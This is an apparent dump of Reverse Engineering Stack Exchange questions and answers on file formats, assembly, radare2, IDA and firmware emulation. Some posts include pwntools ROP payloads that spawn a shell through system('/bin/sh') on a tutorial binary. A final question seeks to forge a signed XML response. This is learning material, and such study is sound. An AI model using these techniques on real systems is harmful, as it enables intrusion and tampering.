1.\u02c6S#q\u00ec8\u20189v.\u201c\u00d8B\u00e2\n000000E0  98 D4 6E 6A 22 69 52 8B 91 04 47 3E BC 36 2D CD  \u02dc\u00d4nj\"iR\u2039\u2018.G>\u00bc6-\u00cd\n000000F0  E8 4A AB 6F 99 12 6D C3 B2 61 5E 86 8E 0E 43 A7  \u00e8J\u00abo\u2122.m\u00c3\u00b2a^\u2020\u017d.C\u00a7\n
    \n\n

    Usually, these DLLs are ~1.7MB in size. However, this one is only 3kB. I found it in the folder C:\\Windows\\WinSxS\\amd64_netfx-mscordacwks_b03f5f7f11d50a3a_10.0.17134.1_none_a06aa12b896d6ba9

    \n\n

    What file format is that? And, if it's simple to answer, how is Windows able to load it?

    \n\n

    I found more files of this kind with up to 51kB in size and it seems that the PA30 part is also common.

    \n\n

    Some background information on why I'm working with the file: mscordacwks.dll is MS for Microsoft, COR for the .NET framework, DAC for data access control and WKS for workstation. When debugging a .NET application, it's that DLL that can give information about the memory layout of .NET objects etc. Usually it's used along with the SOS extension for WinDbg. Sometimes, developers have a wrong version of mscordacwks.dll, which makes SOS complain about the wrong version. So I was looking on my PC whether I could find a version that matches.

    \n", "Title": "DLL starting with DCD", "Tags": "|pe|file-format|", "Answer": "

    These file are created using PatchAPI and MSDelta API:\nLink to MSDN article on subject

    \n" }, { "Id": "19735", "CreationDate": "2018-10-26T17:53:18.087", "Body": "

    Given the following short assembly snippet:

    \n\n
    shr   rax, 3\nadc   rax, 0\n
    \n\n

    I worked this out a bit:

    \n\n
      \n
    • We know SHR sets the CF with the last bit shifted.
      • \n
    • We know ADC dest, 0 is just adding the CF.
      • \n
    \n\n

    So looking at the bits,

    \n\n
            128  64  32  16  8   4   2   1 \n        8    7   6   5   4   3   2   1\n        ------------------------------\n        1    1   1   1   1   CF  X   X\nCF=1 |  0    0   0   1   1   1   1   1  ; shr 3\n
    \n\n

    So if we div 8 and add the CF the most correct function is something like this,

    \n\n
    def f(x):\n  return x//8  + int( (x//4) % 2 )\n
    \n\n

    When would that be useful. Quickly testing it, I can see that I am right.

    \n\n
    rax = 0  -> 0\nrax = 1  -> 0\nrax = 2  -> 0\nrax = 3  -> 0\n\nrax = 4  -> 1\nrax = 7  -> 1\nrax = 8  -> 1\nrax = 11 -> 1\n\nrax = 12 -> 2\nrax = 13 -> 2\nrax = 14 -> 2\nrax = 15 -> 2\nrax = 16 -> 2\nrax = 17 -> 2\nrax = 18 -> 2\nrax = 19 -> 2\n\n...\n\nrax = 20 -> 3\nrax = 28 -> 4\n
    \n\n

    Decompilation with Radare is also not useful here,

    \n\n
    int64_t entry0 (void) {\n    rax >>= 3;\n    __asm (\"adc rax, 0\");\n}\n
    \n\n

    My questions is, therefore, although I do understand the immediate impact these instructions have on the operand register, what is the higher level meaning of this instruction sequence?

    \n\n
    \n\n

    This is riddle 0x09 from the XCHG RAX, RAX book.

    \n", "Title": "XCHG RAX, RAX: 0x09, what does this code do and how does it work?", "Tags": "|disassembly|assembly|x86|decompilation|x86-64|", "Answer": "

    The shr rax, 3 is an unsigned divide by 8 with truncation towards zero. The inclusion of the adc rax, 0 makes the division round to nearest instead. (Though 0.5 will always be rounded up)

    \n\n

    So this operation sets RAX to

    \n\n
      \n
    • 1 if RAX is in the range of [4-11] (8*1 \u00b14)
      • \n
    • 2 if RAX is in the range of [12-20] (8*2 \u00b14)
      • \n
    • 3 if RAX is in the range of [20-27] (8*3 \u00b14)
      • \n
    \n\n

    You can simplify this further by reducing the shift to 1.

    \n\n
    mov rax, 47  ; (remember 47/2 is 23.5)\nshr rax, 1   ; rax = 23\nadc rax, 0   ; rax = 24\n
    \n\n

    If we do it again,

    \n\n
    mov rax, 46  ; (remember 46/2 is 23)\nshr rax, 1   ; rax = 23\nadc rax, 0   ; rax = 23\n
    \n" }, { "Id": "19743", "CreationDate": "2018-10-28T09:23:56.413", "Body": "

    I want to reverse engineer titltext.cel .CEL image format and render this in SDL2.\nI happen to know a little bit about the CEL file that I am working with. I know it is supposed to be a sprite-sheet of the alphabet and some symbols.

    \n\n

    The .CEL image format is a format that is very stripped with very little header information.

    \n\n

    Googleing leads me to a few .CEL Specifications .CEL Specifications 2 documents which seem to have the idea , but I think is lacking for loading more than a few frames. From the documentation I can kind of tell how many frames are in a CEL image and where the first frame starts.

    \n\n

    Knowing where the first frame starts I thought I could bypass the stripped image header

    \n\n

    IMAGE HEADER:

    \n\n
    37 00 00 00 E4 00 00 00 78 03 00 00 D6 05 00 00 \n18 08 00 00 B2 0A 00 00 02 0D 00 00 F8 0E 00 00 \n9D 11 00 00 07 14 00 00 4D 15 00 00 CB 16 00 00 \n04 19 00 00 9E 1A 00 00 1E 1E 00 00 ED 20 00 00 \n59 24 00 00 4C 26 00 00 78 29 00 00 E7 2B 00 00 \n1C 2E 00 00 18 30 00 00 AF 32 00 00 EC 34 00 00 \nBF 38 00 00 88 3B 00 00 8F 3D 00 00 EE 3F 00 00 \n4B 41 00 00 8E 43 00 00 D6 45 00 00 B4 47 00 00 \n06 4A 00 00 28 4C 00 00 E9 4D 00 00 4C 50 00 00 \n67 52 00 00 A9 55 00 00 09 57 00 00 D6 58 00 00 \n37 5C 00 00 19 5F 00 00 56 60 00 00 F4 61 00 00 \nA1 63 00 00 5D 64 00 00 93 65 00 00 B6 66 00 00 \n59 67 00 00 6A 68 00 00 7F 69 00 00 86 6A 00 00 \n70 6B 00 00 13 6C 00 00 A2 6C 00 00 8A 6E 00 00 \n45 70 00 00\n
    \n\n

    After the Image Header / Start of the first frame.

    \n\n
    D2 D2 D2 D2 D2 D2 D2 D2 D2 F9 03 F5 F4 F4 F3 03 F4 F4 F5\nEC FD 07 F5 F5 F5 F5 F5 ED ......\n
    \n\n

    >

    \n\n

    As per documentation , the first DWORD is the amount of FRAMES in the .CEL . \nThis is 0x37 which is 55 in decimal which seems accurate. From what I understand the rest is just frame locations . Each frame from what I understand is supposed to have a Width of 45 and a Height 46 Pixels. Since the image is 8 bit colour this means it would be 1 byte for each colour.

    \n\n

    Also, I have heard that these old image types are called palettes or something to help alter the colour.

    \n\n
    #include <SDL2/SDL.h>\n#include <SDL2/SDL_image.h>\n#include <SDL2/SDL_mixer.h>\n#include <stdbool.h>\n#include <stdio.h>\n#include <errno.h>\n\n\nSDL_Window *window; // SDL MAIN WINDOW\nSDL_Renderer *renderer;\nSDL_Texture *texture;\n\n\nint SCREEN_WIDTH = 1920;\nint SCREEN_HEIGHT = 1080;\nSDL_Event e;\nbool quit = false;\n\n\n/** 32-bit in-memory backbuffer surface */\nSDL_Surface *surface;\n/** 8-bit surface wrapper around #gpBuffer */\nSDL_Surface *pal_surface;\n/** Currently active palette */\nSDL_Palette *palette;\nSDL_Texture* texture;\n\n\nFILE* CELFILE;\n\nunsigned char CELBuffer [3000];\n\n// The CEL dementions I am trying to open are \n// W 46 Height 45 Width 55 FRAMES\nvoid LoadCEL (char * Path){\n\n\nCELFILE = fopen(Path, \"rb\"); \n\n\nint CELHEADERSIZE = 228;\nint CELFRAMESIZE  = 2070;    \n\n//The Header Appears to be 228 bytes in size.  I want to put a frame into CELBuffer \n//  \n// I am assuming to get the size of the first framee I need a size of 2017 (45 * 55) ;\n\n    unsigned char c;\n\n    for (int i = 0;  i < (CELFRAMESIZE+CELHEADERSIZE) ; i++){\n        if(i > CELHEADERSIZE ){\n        c  = fgetc(CELFILE);\n\n        CELBuffer[i] = c;\n        printf(\"CELFILE HEADR %02x \\n\" ,CELBuffer[i]  & 0xff);\n\n        }\n\n    }   \n\n    void *  pCELBuffer = CELBuffer; \n    surface = SDL_CreateRGBSurfaceFrom( pCELBuffer , 45, 55, 8,1 ,0, 0, 0, 0xff); \n    texture = SDL_CreateTextureFromSurface(renderer, surface);\n\n}\n\nvoid Create_SDL_Window()\n{\n\n    SDL_Init(SDL_INIT_EVERYTHING);\n    IMG_Init(IMG_INIT_PNG);\n        window = SDL_CreateWindow(\"Test Window\", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, SCREEN_WIDTH, SCREEN_HEIGHT, SDL_WINDOW_SHOWN);\n    renderer = SDL_CreateRenderer(window, -1, 0);\n    printf(\"Window And Renderer Created!\\n\");\n}\n\n\nint main(){\n\nLoadCEL(\"/home/james/Desktop/titltext.cel\");\n\nCreate_SDL_Window();\nprintf(\"THIS WORKD\\n\");\n\n\nwhile (!quit){  \n        SDL_RenderPresent(renderer);\n\n\nwhile (SDL_PollEvent(&e)){\n    //If user closes the window\n    if (e.type == SDL_QUIT){\n        quit = true;\n    }\n    //If user presses any key\n    if (e.type == SDL_KEYDOWN){\n    //  quit = true;\n    }\n    //If user clicks the mouse\n    if (e.type == SDL_MOUSEBUTTONDOWN){\n    /// quit = true;\n        }\n    }   \n    SDL_RenderClear(renderer);\n    //renderTexture(image, renderer, x, y);\n    SDL_RenderPresent(renderer);\n\n}\n
    \n\n

    }

    \n\n

    Any help is much appreciated.

    \n", "Title": "Reverse Engineering And Rendering Old Image Format .CEL", "Tags": "|binary-analysis|file-format|", "Answer": "

    Won't be able to tell you what exactly is the CEL format but from what I can see:

    \n\n
      \n
    • the offsets into frames suggest that frames are about 600 bytes long (0x378-0xe4=660, 0x5d6-0x378=606, etc)
      • \n
    • since the image dimensions are 45*46=2070, each frame must be compressed to fit to 600 bytes
      • \n
    • it's an old game (and as you mentioned using a palette), after the decompression one pixel is represented as one byte. Each byte is an index into a palette table.
      • \n
    • palette table doesn't seem to be stored in the CEL file and the game stores the palette separately. Palette is an array with length 256 elements, each element storing 3 values for R, G and B. Complete palette is 768 bytes but it's possible the game stores only subsets of the full palette. It can be that e.g. indices 1-127 are for sprites and 128-255 are for background. There's no hard rule how a game decides to use palette. It's also possible that each level uses a different palette. Search for PAL files or files 768 bytes long, they might be the right palettes for you.
      • \n
    • the first documentation describes how to decompress the frame, follow paragraph \"5.3 Commands\"
      • \n
    \n\n

    Commands in you case:

    \n\n
      \n
    • 0xd2: 0x100-0xd2=46 transparent pixels (46 is the width so the full scanline is transparent)
      • \n
    • 0xd2: 0x100-0xd2=46 transparent pixels
      • \n
    • ...
      • \n
    • 0xf9: 0x100-0xf9=7 transparent pixels, this is an incomplete scanline, more pixels to follow...
      • \n
    • 0x03: block command, not sure based on the doc, but it looks like that 3+1 bytes are pixel data (`0xf5, 0xf4, 0xf4, 0xd4). All block commands aremy guess and I might be completely wrong.
      • \n
    • 0x03: block command, 3+1 bytes are pixel data (0xf4, 0xf4, 0xf5, 0xec)
      • \n
    • 0xfd: 0x100-0xfd=3 transparent pixels
      • \n
    • 0x07: block command?, 7+1 bytes are pixel data (0xf5, ...,0xf3`)
      • \n
    • 0x06: block command?, 6+1 bytes are pixel data (0xf4, ...,0xef`)
      • \n
    • 0xfe: 0x100-0xfe=2 transparent pixels
      • \n
    • etc.
      • \n
    \n\n

    Once you manage to process all commands, you have the indices into that palette table. Even if you don't have the palette you can pretend it's a grayscale image and render the image like that. You should be able to recognise the shape of sprites.

    \n\n

    The decompression algorithm, especially the block commands seem to be the tricky bits so probably what you could do is to download some Diablo editors and try to supply your own sprites to see how your sprites get compressed.

    \n\n

    If that fails or it's too much work you can always disassemble the game or even the editors to see how they decompress CEL files.

    \n\n

    EDIT: This tool seems to be loading CEL files and would help you understand the format. See readFrame() and readFrame2() functions. These don't seems to care about block commands but at the same time don't seem to work 100% with your file (just reading the source code). Looks like you have plenty to investigate. :)

    \n\n

    It also contains a palette file you could use.

    \n" }, { "Id": "19754", "CreationDate": "2018-10-30T00:03:36.743", "Body": "

    for a C/C++ program compiled on windows using the x86 architecture, what is the best way to find the main function within disassembled code?

    \n\n

    I've found various answers to questions similar to this, but they're answering questions that are far more specific to the OPs use-case. Is there any standard or go-to method for locating the main function when looking at disassembled code?

    \n\n

    NOTE: I'm new to disassembly / reverse engineering. If I'm saying something that doesn't quite make sense, all clarification is much appreciated!

    \n", "Title": "Finding the main function without symbols", "Tags": "|disassembly|windows|x86|c++|c|", "Answer": "

    If the application is a GUI, usually there are 4 arguments that will push to the stack and a call to an address.

    \n\n

    Example:

    \n\n

    \"enter

    \n\n

    For console application, it has 3 arguments.

    \n\n

    Example:

    \n\n

    \"enter

    \n\n

    But still, it must be depend upon the compiler. I hope it help you.

    \n" }, { "Id": "19759", "CreationDate": "2018-10-30T21:12:11.630", "Body": "

    I was just looking at the Megabeets tutorial again, and it he has,

    \n\n
    pd $r @ main\n
    \n\n

    I don't see the the $r explained anywhere though. What does $r do in that? It's also not explained in pd?

    \n", "Title": "What does the `$r` do in `pd $r`?", "Tags": "|radare2|", "Answer": "

    $r is one of the variables available in radare2. More specifically, $r is a variable which holds the height of the console. This command is shown on Visual Disassembly mode (Vp) and usually is not executed by the user. The command is used by the mode in order to show N instructions from the binary where N is the height of the console (number of lines). This provides the user with a better, and more interactive, reverse engineering experience.

    \n\n

    To show the full list of variables you can use the command ?$?. Here is a truncated list:

    \n\n
    [0x000008cc]> ?$?\nUsage: ?v [$.]\n| flag          offset of flag\n| $$            here (current virtual seek)\n| $$$           current non-temporary virtual seek\n| $?            last comparison value\n| $alias=value  alias commands (simple macros)\n| $b            block size\n...\n| $c,$r         get width and height of terminal\n...\n| $l            opcode length\n| $m            opcode memory reference (e.g. mov eax,[0x10] => 0x10)\n| $M            map address (lowest map address)\n| $MM           map size (lowest map address)\n| $o            here (current disk io offset)\n| $p            getpid()\n| $P            pid of children (only in debug)\n| $s            file size\n| $S            section offset\n| $SS           section size\n...\n| ${ev}         get value of eval config variable\n| $r            get console height\n| $r{reg}       get value of named register\n| $k{kv}        get value of an sdb query value\n| $s{flag}      get size of flag\n...\n
    \n" }, { "Id": "19764", "CreationDate": "2018-10-31T02:19:04.233", "Body": "

    On the tutorial by Megabeets, \"A journey into Radare 2 \u2013 Part 2: Exploitation\"

    \n\n
    [0x080483d0]> dmi libc puts~&GLOBAL, puts:0\n532 0x000fdd60 0xf7e0bd60 GLOBAL   FUNC 1181 putspent\n\n[0x080483d0]> dmi libc system~&GLOBAL, system:0\n\n[0x080483d0]> dmi libc exit~&GLOBAL, exit:0\n147 0x000303d0 0xf7d3e3d0 GLOBAL   FUNC   33 exit\n
    \n\n

    I can only see exit on my sistem. Neither the location of system nor puts shows with dmi. The search for puts shows putsspent and the search for system returns nothing.

    \n", "Title": "`dmi libc puts~GLOBAL` does not show puts, just putspent?", "Tags": "|radare2|libc|", "Answer": "

    This is right, and it was caused by using the wrong grep (the ~ character) in the article. This was due the fact that the output of dmi libc is different on different machines and also, the syntax of the dmi output was changed. The grep you showed (~&GLOBAL, exit:0) is indeed wrong.

    \n\n

    The grep is there, for the first place, in order to filter functions that contain in them, the name of the function we are searching for (i.e puts, exit, system). This way, the reader could narrow down the results and keep only the relevant functions.

    \n\n

    I came up with a better, more elegant, solution for the grep:

    \n\n
    [0x7f99e22006a0]> dmi libc puts~ puts$\n422 0x000809c0 0x7f99e1a809c0   WEAK   FUNC  512 puts\n\n[0x7f99e22006a0]> dmi libc exit~ exit$\n132 0x00043120 0x7f99e1a43120 GLOBAL   FUNC   26 exit\n\n[0x7f99e22006a0]> dmi libc system~ system$\n1403 0x0004f440 0x7f99e1a4f440   WEAK   FUNC   45 system\n
    \n\n

    This will ensure that the user would get the expected results, and them only.\nThis is now fixed in the article itself.

    \n" }, { "Id": "19767", "CreationDate": "2018-10-31T06:21:51.080", "Body": "

    IDA v7 shows decompilation failure in 64bit ntoskrnl.exe file of Windows 10 build 18262. Here is an example of that:

    \n\n

    \"decompilation_faliure\"

    \n\n

    I've loaded all the needed type libraries, PDB file, kernel mode header files (wdm.h, ntddk.h, ntdef.h etc.). But it doesn't change anything with that errors. The assembly is simple to translate. I found the error may be related to END OF FUNCTION CHUNK FOR NtQueryInformationProcess comment. Here is the example assembly in ntoskrnl.exe PAGE segment where IDA shows that warning:

    \n\n\n\n
    lea     rdx, cs:140000000h\nmov     eax, ds:(off_1405DF7E4 - 140000000h)[rdx+rbx*4]\nadd     rax, rdx\njmp     rax         ; failed here \n
    \n\n\n\n

    What can I do to remove this error? If you need any further information I can add that in this question.

    \n", "Title": "Multiple decompilation failure with ntoskrnl", "Tags": "|ida|decompilation|", "Answer": "

    As a generic, incomplete answer: switch analysis is a common source of failure in using Hex-Rays (and even IDA). You can fix these errors by manually editing the switch information using Edit->Other->Specify switch idiom with your cursor somewhere near the beginning. However, I can't give you complete instructions on how to do this. My best advice is to search the disassembly listing for the word 'switch' using Alt-T, and use the edit command just mentioned to view the switch information. For each one, copy the information into a text editor, and compare it against the disassembly listing. This will start to give you an idea of what the fields mean. From there, experiment with the failing switch. Does something you learned from the process I just describe seem not to fit well with the information presented for the failing switch? Change it and see what happens.

    \n" }, { "Id": "19776", "CreationDate": "2018-10-31T23:32:53.977", "Body": "

    On the tutorial by Megabeets, \"A journey into Radare 2 \u2013 Part 2: Exploitation\", he shows an example of how to create a payload with Python2

    \n\n
    # Initial payload\npayload  =  \"A\"*140 # padding\nropchain =  p32(puts_plt)\nropchain += p32(entry_point)\nropchain += p32(puts_got)\n\npayload = payload + ropchain\n
    \n\n

    How would that get ported to Python3? p32 is a 32bit integer. Python3 uses bytes() instead of strings. What's the right way to do this?

    \n\n

    python3-pwntools's docs show that there are some payload helpers. But, I couldn't get them to work. Worse yet, those helpers were available in Python2 as well, but not used (not sure why).

    \n\n

    How would I write Megabeet's example using python3-pwntools?

    \n", "Title": "What is the right way to pack a payload with Python3's pwntools", "Tags": "|python|pwntools|", "Answer": "

    Actually, this is a programming question and not an RE question. Anyway, you simply need to tell python to treat your payload as bytes by adding the bytes-literal b before the 'A'*140.

    \n\n
    >>> from pwn import *\n>>>\n>>> puts_plt = 0x8048390\n>>> puts_got = 0x804a014\n>>> entry_point = 0x80483d0\n>>>\n>>> payload  =  b'A' * 40   # Only 40 for the example\n>>> ropchain =  p32(puts_plt)\n>>> ropchain += p32(entry_point)\n>>> ropchain += p32(puts_got)\n>>>\n>>> payload = payload + ropchain\n>>>\n>>> print(payload)\nb'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\x90\\x83\\x04\\x08\\xd0\\x83\\x04\\x08\\x14\\xa0\\x04\\x08'\n>>>\n
    \n\n

    For further reading, you can read the String and Bytes literals page in the Python3 documentation.

    \n" }, { "Id": "19780", "CreationDate": "2018-11-01T14:39:21.997", "Body": "

    I'm thinking about reverse engineering a few router models and trying to get them running with QEMU. In particular I'm trying to get the web server running. The current issue I'm thinking might be a problem is if the router's firmware is trying to use a physical device that QEMU doesn't emulate by default. My main goal is to emulate various routers' firmware and be able to connect to their webservers. Do any members of the reverse engineering community have a general guide to emulating routers with QEMU?

    \n", "Title": "Emulating Routers and other Embedded Devices with QEMU", "Tags": "|firmware|static-analysis|dynamic-analysis|qemu|emulation|", "Answer": "

    Emulating a complete physical device is always going to be more of an experimental exercise. In this regard you can use firmadyne which aims to emulate Linux based embedded firmware for MIPS and ARM devices. It's based on the venerable QEMU project. There's also firmware analysis toolkit which is a wrapper around firmadyne allowing you to automate some of the tasks.

    \n\n

    However firmadyne is not without its pitfalls. Frequently, you will come across various firmware binaries that fail to emulate properly (like no network access) primarily due to the missing hardware in the emulated environment. In such cases manual tweaking may be necessary.

    \n\n

    More often than not a full system emulation of the device is not always necessary in order to be able to interact with the web server. We can use binwalk to extract the filesystem and run the web-server using QEMU user mode emulation in a chrooted environment.

    \n\n

    Further read:

    \n\n\n" }, { "Id": "19782", "CreationDate": "2018-11-01T16:36:33.060", "Body": "

    When I run ie, I get multiple addresses.

    \n\n
    [0x41417641]> ie\n[Entrypoints]\nvaddr=0x080483d0 paddr=0x000003d0 baddr=0x08048000 laddr=0x00000000 haddr=0x00000018 hvaddr=0x08048018 type=program\n
    \n\n

    What does baddr, laddr, haddr, and hvaddr refer to? When I run ieq for [q]uite, I get the vaddr. What's the difference between that and the other addresses listed under the entry point?

    \n", "Title": "What does paddr, baddr, laddr, haddr, and hvaddr refer to?", "Tags": "|radare2|", "Answer": "

    Most of the time, you would not need any of these except the vaddr and the paddr. Since thoroughly explaining each of these names would take too much time, I'll share here the short meaning of each of these keywords. Most of them should be easy to understand.

    \n\n
      \n
    • vaddr - Virtual Address
      • \n
    • paddr - Physical Address
      • \n
    • laddr - Load Address
      • \n
    • baddr - Base Address
      • \n
    • haddr - e_entry\\AddressOfEntryPoint in binary header
      • \n
    • hvaddr - Header Physical Address
      • \n
    • hpaddr - e_entry\\AddressOfEntryPoint offset in binary header
      • \n
    \n" }, { "Id": "19784", "CreationDate": "2018-11-01T17:44:28.203", "Body": "

    When I run pwntools, I'm getting

    \n\n
    [+] Here comes the shell!\n[*] Switching to interactive mode\n[*] Got EOF while reading in interactive\n$  \n
    \n\n

    Why is it getting EOF? Where should I start looking for the problem, currently my second payload is

    \n\n
    # Build 2nd payload\npayload2  =  b'A'*140\nropchain2 =  p32(system_addr)\nropchain2 += p32(exit_addr)\n# Optional: Fix disallowed character by scanf by using p32(binsh_addr+5)\n#           Thus you'll execute system(\"sh\")\nropchain2 += p32(binsh_addr) \n\npayload2 = payload2 + ropchain2            \np.sendline(payload2)                       \n\nlog.success(\"Here comes the shell!\")       \n\np.clean()                                  \np.interactive()                            \n
    \n\n

    This is adapted from the Megabeets example with the modification given here

    \n\n

    If I print(payload2), I get

    \n\n
    b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\x00\\xe2\\xdd\\xf7\\xd0\\x13\\xdd\\xf7\\xcf\\xf0\\xf1\\xf7'\n
    \n\n

    Which seems correct. The values I used to generate the payload are,

    \n\n
    # Addresses                        \nputs_plt    = 0x08048390           \nputs_got    = 0x0804a014           \nentry_point = 0x080483d0           \n\n# Offsets                          \noffset_puts       = 0x00067b40     \noffset_system     = 0x0003d200     \noffset_exit       = 0x000303d0     \noffset_str_bin_sh = 0x17e0cf     \n
    \n", "Title": "Pwntools shows, \"Got EOF while reading in interactive\"?", "Tags": "|pwntools|", "Answer": "

    Alright. So the issue here was I think that Radare was addressing libc based on a version on disk. And, the version in memory was different.

    \n\n

    Anyway, I restarted the computer and redid the offset math and it worked!

    \n" }, { "Id": "19789", "CreationDate": "2018-11-02T00:37:38.333", "Body": "

    Radare2 seems to have thousands of commands. Is there a way to search all of those commands?

    \n\n

    Like let's say I want to find all commands that had rot (for rot13), is there a method to do this?

    \n", "Title": "Can I search Radare's help system?", "Tags": "|radare2|documentation|", "Answer": "

    You can use ?*~... to do interactive search in all help commands:

    \n\n

    \"enter

    \n" }, { "Id": "19793", "CreationDate": "2018-11-02T07:23:59.137", "Body": "

    Any person can give some examples or resources about how to use IDA Pro debug Android Application?

    \n", "Title": "How to use IDA Pro debug Android Application?", "Tags": "|android|", "Answer": "

    (Although IDA lets you reverse .class files, there are tools that convert the Java byte code back to source code and are preferred for this)
    \nIt's pretty common nowadays to compile libraries and use NDK to develop a part of your app in C/C++.

    \n\n

    Those parts will be compiled to an .so files, which can be invoked using the java code.
    \nYou can reverse those files, they should even contain some symbols in a form of package_classname_method to know who can invoke them.
    \nOther than that, I don't think ida can offer something to reverse android apps.
    \nThe point is - Ida is not a general app reversing tool, it has a specific use.

    \n\n

    That being said, here are examples:

    \n\n\n" }, { "Id": "19796", "CreationDate": "2018-11-02T14:20:25.680", "Body": "

    I am doing a challenge for a CTF and I have to reverse an encryption scheme to find a flag. However it would be easier to just try all inputs but they are too much.

    \n\n

    There is an instruction that when reached means we have guessed the current letter. How can I check in a script if that breakpoint is reached before the program ends and how much times.

    \n\n

    I have tried using the gdb python interface but i find it not very well documented. I have tried frida but i cannot hook to an address but to a function. And r2pipe cannot send text to stdin easily.

    \n", "Title": "Check if instruction is reached", "Tags": "|disassembly|hooking|", "Answer": "

    You can start gdb and initialize it with a python script using -x command line flag. This can be launched using subprocess in another python instance. This can give you a way to bruteforce.

    \n\n

    Some code. The driver file driver.py

    \n\n
    import subprocess\nimport sys\nrax = sys.argv[1]\nd = subprocess.Popen(\"gdb -q -ex 'py rax = \" + str(rax) + \"' -x ./gdb_attach.py \", shell=True, stdout=subprocess.PIPE).stdout.read().strip()\nprint \"Breakpoint hit ::: \", \"HIT\" in d\nprint d\n
    \n\n

    Python script evaluated in gdb gdb_attach.py with some predefined example offsets. Note that my gdb was built with python3 support.

    \n\n
    import gdb\n\nclass MyBreakpoint(gdb.Breakpoint):\n    def stop (self):\n        print(\"HIT\")\n        return True\n\ngdb.execute('file ./x')\n# gdb.execute(\"set environment LD_PRELOAD /home/sudhakar/tools/preeny/x86_64-linux-gnu/desleep.so\")\nMyBreakpoint(\"*0x40050b\")\ngdb.execute(\"run\")\ngdb.execute('set $rax=0x%x' % rax)\ngdb.execute(\"continue\")\ngdb.execute('quit')\n
    \n\n

    The binary is a simple yes/no check.

    \n\n
    #include <stdio.h>\n\nint dum(){\n    return 0;\n    }\nint main(int argc, char **argv)\n{\n    if(dum()) puts(\"Yeaa!\");\n    else puts(\"No!\");\n    return 0;\n}\n
    \n\n

    The offsets look like this.

    \n\n
    [0x00400400]> pdf @ main\n\u250c (fcn) main 58\n\u2502   main (int argc, char **argv, char **envp);\n\u2502           ; var char **local_10h @ rbp-0x10\n\u2502           ; var int local_4h @ rbp-0x4\n\u2502           ; arg int argc @ rdi\n\u2502           ; arg char **argv @ rsi\n\u2502           ; DATA XREF from entry0 (0x40041d)\n\u2502           0x004004f2      55             push rbp\n\u2502           0x004004f3      4889e5         mov rbp, rsp\n\u2502           0x004004f6      4883ec10       sub rsp, 0x10\n\u2502           0x004004fa      897dfc         mov dword [local_4h], edi   ; argc\n\u2502           0x004004fd      488975f0       mov qword [local_10h], rsi  ; argv\n\u2502           0x00400501      b800000000     mov eax, 0\n\u2502           0x00400506      e8dcffffff     call sym.dum\n\u2502           0x0040050b      85c0           test eax, eax\n\u2502       \u250c\u2500< 0x0040050d      740c           je 0x40051b\n\u2502       \u2502   0x0040050f      bfb4054000     mov edi, str.Yeaa           ; 0x4005b4 ; \"Yeaa!\" ; const char *s\n\u2502       \u2502   0x00400514      e8d7feffff     call sym.imp.puts           ; int puts(const char *s)\n\u2502      \u250c\u2500\u2500< 0x00400519      eb0a           jmp 0x400525\n\u2502      \u2502\u2502   ; CODE XREF from main (0x40050d)\n\u2502      \u2502\u2514\u2500> 0x0040051b      bfba054000     mov edi, 0x4005ba           ; const char *s\n\u2502      \u2502    0x00400520      e8cbfeffff     call sym.imp.puts           ; int puts(const char *s)\n\u2502      \u2502    ; CODE XREF from main (0x400519)\n\u2502      \u2514\u2500\u2500> 0x00400525      b800000000     mov eax, 0\n\u2502           0x0040052a      c9             leave\n\u2514           0x0040052b      c3             ret\n
    \n\n

    The driver file launches a gdb instance with gdb_attach.py. Additional python variables can be passed using -ex flag. gdb_attach.py sets a breakpoint at an offset and changes some value. You can print values when a bp is hit and parse them in the main driver script. This is quite hackish but it does the job.

    \n\n

    Here's how it looks

    \n\n
    $ python driver.py 0\nBreakpoint hit ::: True\nBreakpoint 1 at 0x40050b\nHIT\nBreakpoint 1, 0x000000000040050b in main ()\nNo!\n[Inferior 1 (process 3874) exited normally]\n$ python driver.py 1\nBreakpoint hit ::: True\nBreakpoint 1 at 0x40050b\nHIT\nBreakpoint 1, 0x000000000040050b in main ()\nYeaa!\n[Inferior 1 (process 3947) exited normally]\n
    \n\n

    See how I was able to print/detect hit breakpoints and change the flow of the binary using another python script. Hope this helps.

    \n" }, { "Id": "19803", "CreationDate": "2018-11-02T20:34:18.337", "Body": "

    A Java application verifies that an XML string that came from a clearnet server (no SSL) has not been tampered, using a message digest. It does so with a public key stored locally, accessed with the variable pk_enc

    \n\n

    The application asks an external server for 2 strings: the XML and a hash (both encoded base64):

    \n\n
    String xml_enc = // ...\nString hashStr_enc = // ...\n
    \n\n

    The application then decodes from base64:

    \n\n
    String xml = new String(Base64.decode(xml_enc));\nbyte[] hashStr = Base64.decode(hashStr_enc);\n
    \n\n

    In xml we now have a readable XML string and in hashStr_dec a bunch of unreadable characters.

    \n\n

    It then verifies that the result of these 2 functions are equal:

    \n\n
    public String createMD5hashForResponseXMLDocument(String xml) {\n    try {\n        byte[] e = xml.getBytes();\n        MessageDigest algorithm = MessageDigest.getInstance(\"MD5\");\n        algorithm.reset();\n        algorithm.update(e);\n        byte[] messageDigest = algorithm.digest();\n        StringBuffer hexString = new StringBuffer();\n\n        for (int i = 0; i < messageDigest.length; ++i) {\n            hexString.append(Integer.toString((messageDigest[i] & 255) + 256, 16).substring(1));\n        }\n\n        return hexString.toString();\n    } catch (Exception e) {\n        e.printStackTrace();\n        return \"\";\n    }\n}\n
    \n\n

    and

    \n\n
    public String decryptRSAcipherUsedForSigning(String pk_enc, byte[] hashStr) {\n    try {\n\n        X509EncodedKeySpec e = new X509EncodedKeySpec(decodeBASE64(pk_enc));\n        KeyFactory keyFactory = KeyFactory.getInstance(\"RSA\");\n        RSAPublicKey RSApublicKey = (RSAPublicKey) keyFactory.generatePublic(e);\n        Cipher cipher = Cipher.getInstance(\"RSA/ECB/PKCS1PADDING\");\n        cipher.init(2, RSApublicKey);\n        byte[] MD5hash = cipher.doFinal(hashStr);\n        return new String(MD5hash);\n\n    } catch (Exception e) {\n        e.printStackTrace();\n        return \"\";\n    }\n}\n
    \n\n

    Everything works as long as you don't touch the XML, and the result of the 2 functions computes as equal.

    \n\n
    \n\n

    I would now like to modify the XML and compute the hash correctly (the reverse of what happens above). Given that I have pk_enc it shouldn't be impossible.

    \n\n

    How can I do that? Here's what I've tried. For simplicity sake, I used the same XML as the original.

    \n\n

